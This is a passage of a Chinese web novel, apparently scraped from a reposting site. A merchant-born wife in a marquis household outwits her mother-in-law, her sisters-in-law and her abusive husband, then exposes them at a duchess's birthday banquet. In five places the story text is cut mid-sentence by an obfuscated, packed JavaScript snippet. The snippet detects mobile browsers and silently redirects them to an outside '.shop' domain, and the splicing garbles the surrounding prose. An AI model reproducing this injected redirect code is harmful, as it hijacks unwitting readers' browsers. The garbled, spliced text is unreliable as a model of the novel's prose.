莺儿:“奴婢也想不通老夫人究竟是怎么知道的,总之就是姑娘您离开半个时辰左右,老夫人便和章氏、刘氏大喇喇来了咱们院中,奴婢阻拦不住,只能让她们进去了……” “她们一见姑娘未在房中,便说您……说您……”莺儿咬唇,她们的话太过难以启齿。 “说我又偷着见情郎了?” 顾皎皎神情冷淡,她便往里走,边将身上的黑色莲蓬衣褪下。 莺儿点头:“大概就是这个意思,奴婢自是不会承认,便告诉她们姑娘您有事出府了,过不了多久便会回来。” “企料老夫人不依不饶的,非要二夫人跟奴婢在大门处等着,说等姑娘您一回来便压去她院中……” “二嫂嫂?似乎并未看到她。” 莺儿羞涩一笑:“她自是不能在的,若是瞧见姑娘这幅打扮,指不定又得怎么编排,所以奴婢方才给了二夫人一块儿掺了东西的糕饼,这会儿估计上吐下泻呢。” 顾皎皎赞赏道:“多亏你机灵,既如此,那便快些回了院子准备准备吧,待会儿我便光明正大从正门回府!” 茅房外 刘氏腹泻得几近虚脱,噗的一声,她出了一个虚恭,立马又以奇怪的姿势进入茅房。 等她拉完肚子到大门时,小厮告知她三夫人已经去了老夫人院子,她这才火急火燎往回赶。 哼!定然是莺儿那个贱婢给她的糕点有问题,否则她怎会腹泻至此!看我待会儿怎么收拾你! 刘氏赶到孙老夫人院子时,正巧看到孙老夫人与章氏将一块儿糕点往嘴里送。 想到方才自己的遭遇,她当即大喊道:“不能吃!” 说着,刘氏以掩耳不及迅雷之势迅速上前拍掉二人手中的糕点。 孙老夫人怔了两秒,而后大怒:“刘氏!你这是干什么?” 章氏也颇为不悦的瞧着她。 刘氏急切解释:“母亲,大嫂,这糕点里有泻药,方才我就着了道了,情急之举,望你们勿怪啊!” 听到糕点有问题,二人当即变了脸色。 孙老夫人砸了茶盏,指着顾皎皎的鼻子骂:“顾氏,你究竟是何居心,竟敢下药毒害婆母与长嫂!” 章氏:“母亲,你又何必与她说这么多?不若直接报官罢!” 看着这几人丑恶的嘴脸,顾皎皎轻笑出声。 刘氏见二人皆对顾皎皎发难,她颇为得意,也跟着将矛头对顾皎皎:“你对母亲与长嫂做出这等事竟还有脸笑?当真是商户出来的,小家子气便罢了,还是个不知礼义廉耻的!” “原来二嫂也知礼义廉耻?”顾皎皎止笑发问。 刘氏:“我怎会不知?我与你自然不同,我的身份、我的教养便不是你一个商户女比得起的!家父家母自小便请了名师教导,为的就是将我培养成为贤良淑德、懂得礼义廉耻之人。” 顾皎皎点头::“是,我自然与二嫂比不起,说起来我真应向二嫂请教一番才是。” 刘氏以为她服了软,洋洋得意:“若你日后对我言听计从,我倒也不是不能指点你。” “呵呵。”顾皎皎轻笑,眼带讥讽:“不知二嫂家慈是从何处请的名师?将二嫂教的这般……厚颜无耻……” “名师自然是有的,我……”刘氏笑容僵住,她立马反应过来:“贱人,你竟敢骂我?” “你敢骂我?看我不打死你?!”刘氏状若疯癫,说着便要扑上去撕咬,顾皎皎冷着脸避开。 她道:“难道我说的不对吗,我可真是替母亲不值,她作为咱们安阳侯府的当家主母,吃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017238|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗燕窝竟都要被二嫂你夺了去,二嫂你这般强横无理,又怎么好意思吹捧你自己贤良淑德,懂礼义廉耻呢?” 刘氏动作僵住,她下意识往孙老夫人方向看去,果然发现孙老夫人面色阴沉。 她赶忙解释:“母亲,您听我说,我也是中了这贱人的挑拨离间……我……” “够了!”孙老夫人厉声打断刘氏,她显然回忆起前两日那段不美好的回忆,心中对刘氏也越发不满起来。 孙老夫人直勾勾看着她,混黄的眼睛似刀子一般:“依我看,顾氏说的也并非全无道理。” 她冷哼:“一个抢夺婆母吃食,险些与婆母打起来的妇人,又如何谈得上贤良淑德?不贤良淑德的官家女还比不上商户女!更遑论做侯府的当家主母了。” 孙老夫人此话一出,连在场的丫鬟小厮都变了脸色,所以,老夫人这话的意思是,日后二夫人绝不可能做安阳侯府的当家主母? 刘氏面色忽青忽白,她低垂下头,眸底满是憎恨。 凭什么,凭什么这老虔婆一句话便可定她后半辈子的路? 片刻后,她决定祸水东引,抬头勉强一笑道:“母 亲,今日不是说三弟妹之事吗,怎的又扯到儿媳身上?儿媳如今虽然许多方面都做的不好,可日久天长,儿媳相信在母亲的调教下,我日后怎么也的有母亲一半的才干。” 孙老夫人面色好了些,很显然,她刘氏的吹捧十分受用,她摸了摸发,自得道:“还算你有自知之明。” 说着,孙老夫人看向顾皎皎,厉声发问:“顾氏,前两日你才半夜衣衫不整回府,今日又偷摸从后门出去,说,你可是做了什么对不起协兆之事?” 刘氏拱火:“是啊,三弟妹,你可是守了太久的寡,所以耐不住寂寞,出去偷了汉子?” 无论如何她也要将罪名给顾皎皎安上,否则方才老夫人说的话在下人中口口相传的话,她有哪里还有威望可言? 刘氏话落,丫鬟小厮们都窃窃私语起来。 第二十四章 以死明志 “二夫人说的并非空穴来风,三爷确实很少留宿在三夫人处。” “是啊,并且我不止一次听见三爷与三夫人争吵,若是三夫人因此心灰意冷,想寻个温柔体贴的慰籍一番也不是没可能……” 两名丫鬟摆谈得头头是道,甚至还说出了曾经见到顾皎皎与人厮混的话来。 孙老夫人来了精神,她用失望的眼神看向顾皎皎:“顾氏,想不到你竟这般不检点,与情郎私会竟也不止收敛,还被下人瞧见。” “来人,去把协兆叫回来,就说,他们三房的事情得他自个儿处理。” 章氏与刘氏对望一眼,都从对方眼中瞧见了喜色,老夫人这意思是要让三弟休妻? 顾皎皎静静站立在一旁,不言不语,直到他们表演完了,她才勾了勾嘴角,这是欲加之罪,何患无辞啊。 余光撇见黑白两道身影由远及近,她用力掐了掐掌心,清冷的眸子中立马蓄满了水,没一会儿,豆大的泪珠便滚落下来。 顾皎皎委屈不已,她哭着道:“母亲,我知您与两位嫂嫂都不喜我,可清白对女子何等重要,您怎能这般构陷于我?” 孙老夫人冷笑:“构陷你?难道你今日并未偷摸出府?若你真想证明自己清白,不若一头撞死算了!” “母亲,您……”顾皎皎面上满是不可置信。 “罢了。”顾皎皎苦笑,她从莺儿手中接过包袱,那包袱囊囊鼓鼓的,似乎装了不少东西。 孙老夫人与章氏刘氏心都提了起来,这顾氏又要整出什么幺蛾子? 顾皎皎将包袱打开,里面是一套亮闪闪的宝石头面,她道:“今日儿媳之所以偷摸出府,便是为了给母亲一个惊喜。” “前些日子定做衣裳时,儿媳身上银两不足,两位嫂嫂也各有各的理由,没给母亲订头面,儿媳回去觉得很是不妥,马上便是安国公夫人大寿,若是母亲没个好看的头面,岂不让人看笑话?所以儿媳这才自作主张……” 孙老夫人看着宝石头面挪不开眼,她没料到顾皎皎出府竟然是为了给自己买头面。 从前她为了讨好自己,倒也经常送些首饰衣裳什么的,近段日子忽然变得一毛不拔,这也是她觉得顾皎皎变了的原因。 孙老夫人迫不及待想将头面收入囊中,她笑着道:“好孩子……” 她的话尚未说完,顾皎皎哭得越发伤心:“明明是好意,哪知却被母亲与嫂嫂们这般折辱,既如此,我不若便如母亲所说,一死以证清白好了。” 说时迟那时快,顾皎皎抱着头面便往柱上撞。 孙老夫人变了脸色,可莫要将头面撞坏了! 意料之中的疼痛感并未传来,男子的闷哼声在头顶响起。 顾皎皎错愕抬头,沈云祉瘦削的下颚出现在眼前,她吓了一跳,怀中包袱滚落在地,咔哒一声,宝石头面被摔得七零八落。 顾皎皎赶忙跪下:“小王爷恕罪,我不是故意的……” 沈云祉轻轻掸了掸胸膛处,他定定瞧着顾皎皎眼眸深邃,久久没说话。 孙协兆瞧不出小云南王的情绪,心中颇为慌乱,今日难得小王爷主动来寻他,全被这贱人给毁了! 他一巴掌甩到顾皎皎脸上:“贱妇,胆敢冲撞小王爷,你该当何罪?” 顾皎皎面上立马浮现五个手指印,孙协兆本欲继续动手,沈云祉抬手拦住。 他看了身旁的侍女一眼,侍女立马上前将她扶起来。 孙协兆错愕:“小王爷,您这是?” 沈云祉失望摇头,他冷声道:“修身齐家治国平天下,协兆,若是你连你内宅之事都无法处理妥当,我又如何相信你有政治才能?” “双瑞,我们回吧。” 沈云祉转身离开,孙协兆连忙亦步亦趋追上去解释。 屋内众人都尚未反应过来,她们还没来得及行礼,小云南王便离开了。 孙老夫人叹息一声,她看着滚落在自己脚边的宝石遗憾不已,差一点,就差一点这头面就是自己的了。 刘氏见孙老夫人态度和缓了不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017239|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她咬牙切齿,不行,不能让顾皎皎这般轻易便将此事揭过。 刘氏看着顾皎皎笑着道:“三弟妹,方才你说那么多,可是意图掩藏你今日出府所做之事?” “住嘴!你不说话没人将你当哑巴!”孙老夫人怒目而视,从前她怎么没发现这刘氏这般愚蠢,方才小云南王命人将顾氏扶起,又因顾氏斥责了协兆,小云南王的意思已经十分明显了。 况且,小云南王身边的侍女尚在此处,若现在继续抓着方才的事儿不放,那不是明着打小云南王的脸吗? 深吸一口气,孙老夫人看着顾皎皎和蔼道:“皎皎啊,你的好意母亲心领了,今日都是母亲的不是,误会了你,你莫要放在心上。” 顾皎皎:“儿媳不敢与母亲计较。” 孙老夫人噎住,片刻后才闷声道:“罢了,你且回去歇着吧,好生修养修养,过两日便是国公夫人的大寿,莫要丢了咱们安阳侯府的脸。” 顾皎皎笑了笑,既然你自己送上门来,那就别怪她不客气了。 她咬唇,一副不知所措的模样:“母亲说得是,可是为了给母 亲买头面,儿媳典当了许多首饰,如今没有拿得出手的……” 孙老夫人咬牙,她这是要自己出银子给她买首饰? 看了眼沈云祉留下的侍女,她故作大方道:“这是小问题,你待会儿去公中支取银两便是。” “谢母亲,那儿媳先行告退了。” 章氏与刘氏见状心痒难耐,待小云南王的侍女离开后,她们上前:“母亲,我们也没有拿得出手的首饰,可否也去公中支取银两……” 孙老夫人本就气得很,如今更气了,她睨了她们一眼:“怎么,你们也典当了首饰替我买头面?” 二人双双噎住。 回了院子,莺儿拿着冰块替顾皎皎敷脸。 看着主子红肿的脸颊,她眼眸通红心疼不已:“姑娘,他们欺人太甚!” 顾皎皎眸中冷意泛滥:“急什么,欠的终究是要还的。” 第二十五章 身份不简单 莺儿深以为然:“姑娘说得对,善恶到头终有报,不是不报,时候未到罢了!” “是是是,你说得对。”顾皎皎摇头,无奈一笑。 “对了姑娘,您今日去第一楼可有什么收获?香儿与小云南王可有关联?” 顾皎皎沉吟:“关联自然是有的。” “什么?!”莺儿大惊:“竟真是小云南王要害您!” 想到了什么,她颇为愤懑:“真是知人知面不知心,方才奴婢瞧着小云南帮您,奴婢还真以为他真是好人呢!” 见莺儿误会,顾皎皎淡声解释道:“你误会了,要害我的不是小云南王,而是孙协兆那外室,徐青青。” “我猜测,虽然补药中并未查出有毒,只是换了几味药,但换的几味药中,定有药物与香儿身上的香味相克,是以,我才会无知无觉中毒。” 莺儿:“什么?!她是个什么身份,不过一个外室竟也敢谋害主母!” 顾皎皎勾唇:“她的身份?呵呵,从今日所见所闻来看,这徐青青怕是身份不简单。” 不过估计除了身份,也就只剩美貌,旁的也没了,至少从现在看来,她的脑子是不够用的。 不然也不会在明知孙协兆与自己迟早和离的情况下,做出这般愚蠢举动,损人不利己。 “即便她身份不简单又如何,没见过哪个做小的还这般猖狂!”莺儿气急:“姑娘,奴婢这就找人去收拾收拾她,这口气不能就这样咽下了。” 莺儿骂骂咧咧的,她抬脚便要往外走,顾皎皎忙扯住她的袖摆:“你怎的越发冒失了,你可有证据说是她要害我?若是这般没头没脑的便去找她麻烦,旁人不会说她一句,但唾沫星子却可以淹死你我!” 莺儿愧疚:“对不起姑娘,奴婢没有想这么多……奴婢只是见不得姑娘受委屈……” 顾皎皎轻轻叹息一声:“我自然知晓你是为了我,你放心,此事不会这般轻易了了,我自会以牙还牙,以眼还眼。” “那姑娘准备如何做?” “你这样……” 主仆二人附耳低语,莺儿闻言目光如炬。 驿站 双瑞将孙协兆送到门口拱手道:“孙大人,小的就不送了,更深露重,路上注意安全。” 孙协兆:“好,我回去定当将小王爷之言奉为金科玉律,定会痛改前非。” 双瑞微微一笑:“孙大人有数便好,咱们小王爷可是十分器重您的,您莫要让小王爷失望才是。” 孙协兆闻言惊喜,双瑞这意思是自己在小王爷那里还是非常不同的? 心中雀跃极了,他忙点头哈腰道:“是是是,烦请转告小王爷请他放心,我定不会让他失望!” 双瑞颔首,比了一个请的姿势,孙协兆大步离开。 夜幕降临,幽蓝星空上点缀着无数星子,微风拂过,清冷的街道传来断断续续的狗吠声。 孙协兆走在街道上,他松了口气,幸好顾皎皎那贱妇今日未曾影响到自己,否则他定会让她吃不了兜着走! 孙协兆抬头看向城南方向,眼中怒气缓缓消散,今日他也算因祸得福了,他虽在外与小云南王以挚友相称,可只有他自己知道,小王爷并未交心,许多话也不愿说透。 可今日小王爷却说出那番话,那是不是可以理解为他们之间的关系近了一步? 孙协兆越想越开心,仿若已经瞧见了自己日后被器重的模样,连脚步都轻快了不少。 怎料路过一个小巷时,他的后颈忽的传来一阵剧痛,昏迷前的最后一秒,他眼睁睁看着硕大的麻袋朝自己袭来…… 翌日 顾皎皎才刚起床,便见莺儿端着洗漱用水兴致冲冲踏进寝屋。 她挑眉询问:“今日你的心情似乎格外好,怎么?可是有了心上人?” 莺儿脸红:“哪有,奴婢只是高兴罢了。” 顾皎皎闻言来了兴致:“何事能让你高兴成这样?说来听听让我也乐上一乐。” 莺儿将水盆放下,她笑着道:“府门口躺了一个人, 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顾皎皎勾唇,看样子孙老夫人还不知道自己从公中支取一千两银票的事儿,否则她不会这般淡定,还有心情帮着刘氏。 忽然很期待她知晓后的模样。 “母亲说得是,都是儿媳的错。”顾皎皎摸了摸头上一只精美绝伦的发簪,她笑着道:“多谢母亲疼爱,一千两买的簪子十分漂亮,国公夫人大寿时,儿媳戴着这簪子出席,定然不会丢了咱们安阳侯府的脸……” “什么一千两?”孙老夫人声音颤抖。 宋嬷嬷小声道:“老夫人,昨日您让三夫人自个儿去公中支取银两买首饰……三夫人取了一千两……” “什么?!”孙老夫人掐着自己的人中,她差点没当场驾鹤西去,她恨恨看着顾皎皎:“你这个破烂商户出来的,真是没见过世面,我让你支取银两你便没见过银子似的取一千两?” 第二十六章 都会传她偏心 “一千两的簪子?你也不瞧瞧自己配不配,呸!”孙老夫人脸气得煞白,她一口浓痰险些吐到顾皎皎裙摆上。 顾皎皎顿觉恶心,她皱眉:“母亲,这么多人瞧着,就算你自己不要脸面,咱们安阳侯府还是要的!” 孙老夫人这才后知后觉反应过来,可是已经迟了,围观的百姓一个个都鄙夷的看着她。 她恨不得挖个地缝钻进去,见状,她只能干巴巴道:“近日不幸感染了风寒,喉中总觉不适,是以才……” 百姓们自然是不信她的说辞的,但眼前他们更关心躺在安阳侯府门口这个看不清长相的人是谁。 “看身形,似乎是个年轻男子,该不会是这安阳侯府哪个夫人不甘寂寞,勾搭的奸夫吧?” “我也觉得,否则这男子为何别处不躺,偏偏躺在侯府门前?” 窃窃私语声传到刘氏耳中,她得意一笑,真是老天爷都要帮她啊! 她当即上前一步:“三弟妹,这人不会便是那个让你衣衫不整回府的情夫吧?” 此言一出,街边议论声越来越大,不少暧昧的目光落到顾皎皎身上。 顾皎皎冷笑:“二嫂这是何意,什么盆子都往我头上扣,你可是欺我娘家无人?” 说着,她将视线投向孙老夫人:“母亲,您倒是评评理,今日这事究竟是二嫂的不是,还是我的不是?” 孙老夫人不语,她哪里敢多说一句?无论帮哪个儿媳,明日京中怕都会传她偏心…… 片刻后,她拉着两个儿媳的手,笑着道:“不过就是一个乞儿拦在家门口而已,若是实在不认识,让人丢开便是,都是一家人,何必为了一个外人置气?” 顾皎皎看了眼趴在地上之人满是鲜血的指尖,她勾唇:“母亲说得是,即是影响我们家庭和睦之人,不若丢远些,省得看着晦气。” 她上前一步,一不小心便踩到了那乞儿手上,原本血糊糊得手变得越发血肉模糊。 孙老夫人:“宋嬷嬷,找人将这乞儿丢到城外去!” 顾皎皎满意:“母亲英明。” 若是孙老夫人知晓,她今日丢的这个乞儿是最喜爱的小儿子,她会不会原地气死? 可怜的孙协兆,好不容易爬回府门口,却又被亲娘丢出城外……哈哈……真是大快人心! 夜半时分,京城的静谧被打破,安阳侯府灯火通明,数名大夫焦急往孙协兆房间赶。 顾皎皎也被吵醒了,她打了个哈欠:“怎么样了。” 莺儿:“回姑娘,姑爷刚被抬回府,听说气息微弱得很呢。” “噢,不是被扔出城外了?怎的又忽然发现那乞儿是孙协兆?” 莺儿想了想:“消息瞒得紧,多的奴婢没打听到,只是听说是一个穿桃红色衣衫的女子用马车将姑爷载到安阳候府门口的。” “徐青青。”顾皎皎笑容依旧,只是怎么看都带着隐匿的遗憾,她倚靠在床榻上,浑身透着一股慵懒劲儿。 差一点,差一点就能让那个畜生命丧黄泉。 到底是徐青青发现的,还是小云南王发现的? 孙协兆在府中养了大半月身子才恢复过来,人瘦削了不少。 莺儿:“姑娘,奴婢瞧着姑爷他虽表面与往常无异,心中却对孙老夫人多少有些介怀,自打他身体好转,竟是一次也没去给老夫人请安。” 结果在自己的意料之中,顾皎皎不以为意:“自己的亲娘差点阴差阳错害死自己,是个人都会介怀。” “不过这样挺好,或许我就是蛇蝎心肠的妇人,将安阳侯府搅得越乱,我越高兴,哈哈哈。” 莺儿鼻子一酸,她的姑娘从前不是这个性子,都是这吃人的侯府改变了姑娘…… 她哽咽道:“姑娘是世上最好的人。” 顾皎皎心中有些动容,她拍了拍莺儿的手背以示安抚:“如今我的亲人只剩下你一个,你觉得我好便够了,至于其他的,不重要……” 转眼便到安国公夫人寿辰这天。 孙家所有人都前去安国公府赴宴,莺儿替顾皎皎梳了一个端庄的发髻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017241|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “姑娘,您想穿哪套衣服?” 顾皎皎随手指了一套月白色襦裙:“这个吧,简单些。” 莺儿为难:“姑娘,您穿得这般素净,难免不会被其他夫人小姐比下去……不若穿这套宝蓝色衣裙吧,您肤色白,穿上十分惊艳。” 顾皎皎:“无碍,今日是安国公夫人寿辰,不宜太过,以免喧宾夺主。” 待二人到达大门处时,门外竟一辆马车也没有。 莺儿忙抓着一旁小厮询问:“马车呢?今日不是要去赴安国公府的寿宴?” 小厮见到顾皎皎吃惊:“三夫人,您怎的还在此处?老夫人他们已经出发了!” “什么?”莺儿气的不得了:“姑娘,他们什么意思,明知您还未过来,竟也不等等你!” 顾皎皎面容冷静,她看向小厮:“去府中找一辆马车来,现在过去应当来得及。” “可……”小厮欲言又止。 顾皎皎神情一冷,厉声道:“有话便说,吞吞吐吐做什么?” 小厮立马跪下,他为难道:“三夫人, 方才老夫人与大夫人、二夫人还有三爷一人乘了一辆走了……府中拢共只有六辆马车,大爷与二爷又各自占用了一辆……” “所以,你的意思便是,没有我能用的马车了?” 小厮闭眼,破釜沉舟般点了点头。 顾皎皎冷笑,看来这群人为了对付自己真是无所不用其极,罢了,你有张良计我亦有过墙梯,不就是没有马车吗?我就不信没有马车我到不了安国公府! 莺儿:“姑娘,怎么办?” 顾皎皎从怀中掏出银袋:“买马车来不及了,便去街上借一辆马车吧。” 说完,顾皎皎迈着步子出府,她将将站定,一辆马车便晃晃悠悠驶了过来,她没有犹豫,立马站在路中央,脊背挺直。 马夫赶忙拉紧缰绳,顾皎皎见状直接走到马车车窗前:“阁下的马车可否借我一用?” 下一秒,车帘掀开,沈云祉棱角分明的脸映入眼帘。 第二十七章 上梁不正下梁歪 顾皎皎看清眼前人瞬间不淡定了,她这是踢到铁板了啊! 不过是随便在街上拦一人借马车,怎么就拦到小云南王了! 见到她,沈云祉也颇为诧异,视线落在顾皎皎手中的钱袋上,他的眸中划过一抹兴味:“顾夫人,方才你是说,想找本王借马车?” 顾皎皎除了一开始有些无措外,很快便恢复镇定。 知晓借马车一事绝无可能,她面上挂起得体的微笑:“是的,不过若是小王爷不便,我自然也不会强人所难。” 与其被小云南王拒绝,不如她自己识趣些,免得被人看笑话。 沈云祉:“本王方便,若是夫人不介意与本王同乘马车,那便上来吧。” 顾皎皎以为自己听错了,她反问道:“您说什么?” “本王说方便。”沈云祉似乎耐心告罄,他神情冷淡地将车帘放下。 “当然,若是顾夫人介意,本王也不会强人所难。” “不介意,能与小王爷同乘马车,是我之幸事。”顾皎皎笑了笑,把所有情绪都压在心底。 如今时辰已然不早了,若是拒了沈云祉重新拦车,不知还要等多久。 安国公夫人的寿宴京中许多达官贵人都会到场,如果在这么多人面前姗姗来迟,他人不知将会怎么怎么编排她。 今日孙府这一大家子的操作,应当也是留了后招,得小心应对才是。 顾皎皎由莺儿扶着上了马车,掀开轿帘,一股乌沉香气扑面而来。 沈云祉正襟危坐,听见动静他眼也未抬,只道:“顾夫人随意。” 马夫驾车前行,哒哒马蹄声,听得顾皎皎昏昏欲睡。 “小王爷,国公府到了。” 顾皎皎瞬间清醒,她抬眸正准备起身,却正好与沈云祉视线撞到一处。 他的眼眸黑而深邃,好似一眼望不到底的潭水,古井无波。 她移开视线行了一礼:“多谢王爷相助。” 沈云祉勾唇:“不必客气,本王也不过顺路罢了,走吧,国公夫人的寿宴应当快开始了。” 顾皎皎点头,率先下了马车。 为了避嫌,一下马车她便快步往国公府中走。 若是让其他人瞧见她一个已嫁妇人,与众多少女心中的如意郎君一道,怕是又会多些不必要的麻烦。 顾皎皎由下人带着到了宴会厅,厅中人声鼎沸,许多相识的夫人有一搭没一搭的聊着天。 即便人数众多,她还是一眼便在人群中瞧见了显眼包似的章氏与刘氏。 倒不是她们二人长相多出众,而是穿得太过华贵。 莺儿鄙夷:“姑娘,您瞧她们那轻浮样儿,看这满头珠翠,怕是把妆匣中的首饰都戴上了吧?” 顾皎皎轻笑:“管她们做什么?左右与我们无关。” 章氏与刘氏左右逢源,与诸位夫人交谈得十分愉快。 一夫人左右瞧了瞧问道:“咦,今日怎么就见到了你们二人,你们府中的三夫人顾氏呢?” 刘氏看了那夫人一眼,她为难道:“今日三弟妹并未与我们一道来。” “什么?”那夫人捂唇,诧异不已:“安国公夫人宴请的可是孙家阖府上下,顾氏怎能这般下国公夫人的面子?” “这算什么?”章氏与刘氏对望一眼,笑容苦涩。 一旁的夫人们嗅到了八卦的味道,见她二人这般神情,忙追问道:“顾氏这是做了何事,竟是让你们这当嫂嫂的这般为难?” “没什么大事。”刘氏牵强一笑:“不过就是三弟妹性子强硬些,有些……有些目中无人罢了。” 夫人们追问:“为何这般说?” 刘氏叹息一声:“想来各位夫人应当有所耳闻,从前母亲心疼三弟妹出身低,怕我与大嫂欺负她,所以便将掌家之权交给了她。” “你们是不晓得,那日母亲与我们想定做一件衣服,结果她却只付自己的衣裳银钱,我们选的衣裳首饰便让我们自己付银钱。” 众夫人闻言吃惊:“那顾氏竟这般蛮横不讲理?府中银两皆在她手,她不付银钱谁付?” “可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那可不是,如今世道变了,有理的也变成无理的,姗姗来迟的无礼之人比咱们这些准时到的都更气派呢!” 众夫人捂唇笑,鄙夷的目光落在顾皎皎身上,刘氏与章氏在一旁瞧着得意不已,心中十分畅快。 顾皎皎仿若没看到这些令人厌恶的视线,她的目光从孙老夫人、孙协兆、章氏与刘氏身上一一掠过,心中隐隐升起一丝戾气。 她怒极反笑看向刘氏:“二嫂嫂,做人不能如此,你们刘家的家教便是教你谎话连篇吗?” 刘氏大吼:“我们刘家何时轮到你一个小小商女来评价了?你说我谎话连篇,我看你才是吧!” 顾皎皎唇边笑意不减反增,她镇定道:“二嫂嫂,你说我不愿付你们与母亲的银钱,那你怎的不告知各位夫人,你从我手中接了掌家之权过去?” “原本我掌家时府中从未缺衣少食,到了你那儿却一味地只知铺张浪费,一桌席面竟要千余两!” 她指向身后早已备好的吃食:“二嫂嫂且问问国公府的下人,国公夫人大寿,这席面多少银子一桌?” 第一楼掌柜从人群中出现,她道:“国公夫人的席面是在咱们第一楼定的,一百八十两一桌。” 众夫人看了看席面倒吸一口凉气,一个三品官员俸禄一月也不过百余两白银。 这一桌席面已然比大多数官员的俸禄都高。 若顾氏方才说的都是真的,刘氏却是太过败家,一桌席面竟抵了三品官员一年的俸禄! 众夫人看向刘氏的眼神顿时变了。 刘氏心慌,张嘴便要替自己解释,顾皎皎岂能给她机会? “二嫂嫂,你口口声声说我不付银钱,若是我没记错的话,那日母亲曾开口让你替她买头面。” “可你却说,你新添了一套点翠头面,手中没有余钱,结果转瞬便私底下联系霓裳阁掌柜的,将你自个儿喜欢的布匹给买了。” 她的目光落到章氏身上,章氏心中升起一股不详的预感。 果然,下一秒顾皎皎便道:“大嫂嫂也是,五百两银票偷偷给娘家眼也不眨,给母亲买头面尽孝时却又哭穷。” “结果也同二嫂嫂一般,转瞬便将自己喜欢的布料给买了。” 章氏与刘氏面色难看,她们近乎异口同声道:“无凭无据的,你竟敢胡说!” 顾皎皎挑眉:“我怎会说无凭无据之话?安国公府的服饰皆由霓裳阁定制,想来霓裳阁掌柜今日应当也在宴席之中。” “众人若是不信,不若将她唤出来问上一问?” 众夫人闻言皆在人群中搜寻起来,果然瞧见了霓裳阁掌柜的身影。 霓裳阁掌柜走到顾皎皎身边,她看了章氏与刘氏一眼,笑着道:“这两位夫人我记得,是安阳侯府的大夫人与二夫人。” “那日选布匹之时因着银子之事,拌了几句嘴,本以为布匹卖不出了,结果还未出府,二位夫人都让贴身丫鬟带着银子来寻我。” 刘氏闭眼,心中拔凉拔凉的,她真是想冲上去把这贱人的嘴封住。 若再让她抖些什么出来,日后她还怎么见人? 顾皎皎微微一笑:“至于二嫂嫂说的我自个儿院中吃香喝辣,你们却清汤寡水险些饿晕……” “这个可真是怨不得我,我院中一应花销皆是我的嫁妆付的。” “而你们平日吃穿用度都是由公中负责,想来母亲也是对你们的不孝之举寒了心,所以才勒令大房二房节衣缩食吧?” 她想到了什么,眸中满是笑意:“二嫂嫂,虽那事母亲也有不对,可你也万万不该去抢夺母亲的燕窝吃,更不至于差点与母亲打起来!” 此言一出,现场唏嘘声一片,她们从未见过敢和婆母抢吃食,甚至大动干戈的儿媳。 顾皎皎观察着现场诸位夫人的神色,见有人还将信将疑的,她又道:“其实这些本也没什么,就像二嫂嫂说的,都是一家人。” “诋毁我没关系,公道自在人心,可二嫂嫂,你千不该万不该,不应将在场的众人当做傻子哄骗啊!” 众夫人僵住,数秒后她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017243|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争先恐后对刘氏与章氏口诛笔伐,生怕慢了一步便成了顾皎皎口中,被刘氏哄骗的“傻子”。 “安阳侯府的三夫人真是良善,大夫人与二夫人坐了那么多过份之事,您竟是一句也不提?” 不知谁在人群中喊了一声,下一秒她又道:“听说安阳侯府的花销一直都是用的三夫人的嫁妆,结果大夫人与二夫人还十分不领情,整日对着三夫人冷嘲热讽的。” “这算什么,今日我可是亲耳听到了安阳侯府的大夫人与二夫人的谋算。” “三夫人今日之所以姗姗来迟,正是因为她们故意将所有马车都占用了,害得三夫人只能临时找马车。” 此话一出,在场众人恍然大悟,难怪今日安阳侯府排场如此大。 六个人用了六辆马车,原来是坏心眼来的! 